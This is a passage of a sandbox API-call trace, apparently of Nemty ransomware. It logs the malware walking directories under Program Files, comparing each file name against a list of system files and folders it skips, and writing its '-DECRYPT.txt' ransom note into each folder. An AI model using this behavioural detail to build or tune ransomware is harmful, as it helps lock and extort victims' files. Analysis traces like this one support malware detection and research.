ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdd2e62d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0071.007] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0071.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0071.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0071.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0071.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0071.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0071.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0071.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.008] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd2e62d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xdd2e62d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdd2e62d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0071.008] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f0 | out: hHeap=0x4f90000) returned 1 [0071.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0071.008] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0071.008] lstrcmpiW (lpString1="Performance", lpString2=".") returned 1 [0071.008] lstrcmpiW (lpString1="Performance", lpString2="..") returned 1 [0071.008] lstrcmpiW (lpString1="Performance", lpString2="...") returned 1 [0071.008] lstrcmpiW (lpString1="Performance", lpString2="windows") returned -1 [0071.008] lstrcmpiW (lpString1="Performance", lpString2="$RECYCLE.BIN") returned 1 [0071.008] lstrcmpiW (lpString1="Performance", lpString2="rsa") returned -1 [0071.008] lstrcmpiW (lpString1="Performance", lpString2="NTDETECT.COM") returned 1 [0071.008] lstrcmpiW (lpString1="Performance", lpString2="ntldr") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="MSDOS.SYS") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="IO.SYS") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="boot.ini") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="boot.ini") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="AUTOEXEC.BAT") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="ntuser.dat") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="desktop.ini") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="CONFIG.SYS") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="RECYCLER") returned -1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="BOOTSECT.BAK") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="bootmgr") returned 1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="programdata") returned -1 [0071.009] lstrcmpiW (lpString1="Performance", lpString2="appdata") returned 1 [0071.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Performance", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0071.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Performance", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Performance", lpUsedDefaultChar=0x0) returned 11 [0071.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Performance", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0071.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Performance", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Performance", lpUsedDefaultChar=0x0) returned 11 [0071.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0071.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x4f942f0 [0071.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0071.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0071.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943a0 [0071.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0071.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0071.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0071.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0071.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f941c0 [0071.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0071.010] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0071.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0071.015] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.015] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0071.016] CloseHandle (hObject=0x3cc) returned 1 [0071.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0071.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943a0 | out: hHeap=0x4f90000) returned 1 [0071.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943a0 [0071.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0071.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0071.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0071.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0071.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0071.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0071.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0071.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0071.017] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0071.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.017] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.018] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0071.018] CloseHandle (hObject=0x3cc) returned 1 [0071.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0071.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0071.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0071.019] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xddf8b7b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xddf8b7b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0071.019] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0071.019] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xddf8b7b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xddf8b7b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0071.019] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0071.019] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0071.019] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2=".") returned 1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="..") returned 1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="...") returned 1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="windows") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="$RECYCLE.BIN") returned 1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="rsa") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="NTDETECT.COM") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="ntldr") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="MSDOS.SYS") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="IO.SYS") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="boot.ini") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="boot.ini") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="AUTOEXEC.BAT") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="ntuser.dat") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="desktop.ini") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="CONFIG.SYS") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="RECYCLER") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="BOOTSECT.BAK") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="bootmgr") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="programdata") returned -1 [0071.019] lstrcmpiW (lpString1="720x480blacksquare.png", lpString2="appdata") returned -1 [0071.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0071.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480blacksquare.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480blacksquare.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480blacksquare.png", lpUsedDefaultChar=0x0) returned 22 [0071.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0071.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480blacksquare.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480blacksquare.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480blacksquare.png", lpUsedDefaultChar=0x0) returned 22 [0071.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0071.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0071.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0071.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480blacksquare.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480blacksquare.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480blacksquare.png", lpUsedDefaultChar=0x0) returned 22 [0071.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0071.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0071.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480blacksquare.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480blacksquare.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480blacksquare.png", lpUsedDefaultChar=0x0) returned 22 [0071.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0071.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0071.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0071.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0071.020] Sleep (dwMilliseconds=0x5) [0071.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xddfb1910, dwHighDateTime=0x1d561e7)) [0071.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xddfb1910, dwHighDateTime=0x1d561e7)) [0071.025] GetLastError () returned 0xb7 [0071.025] 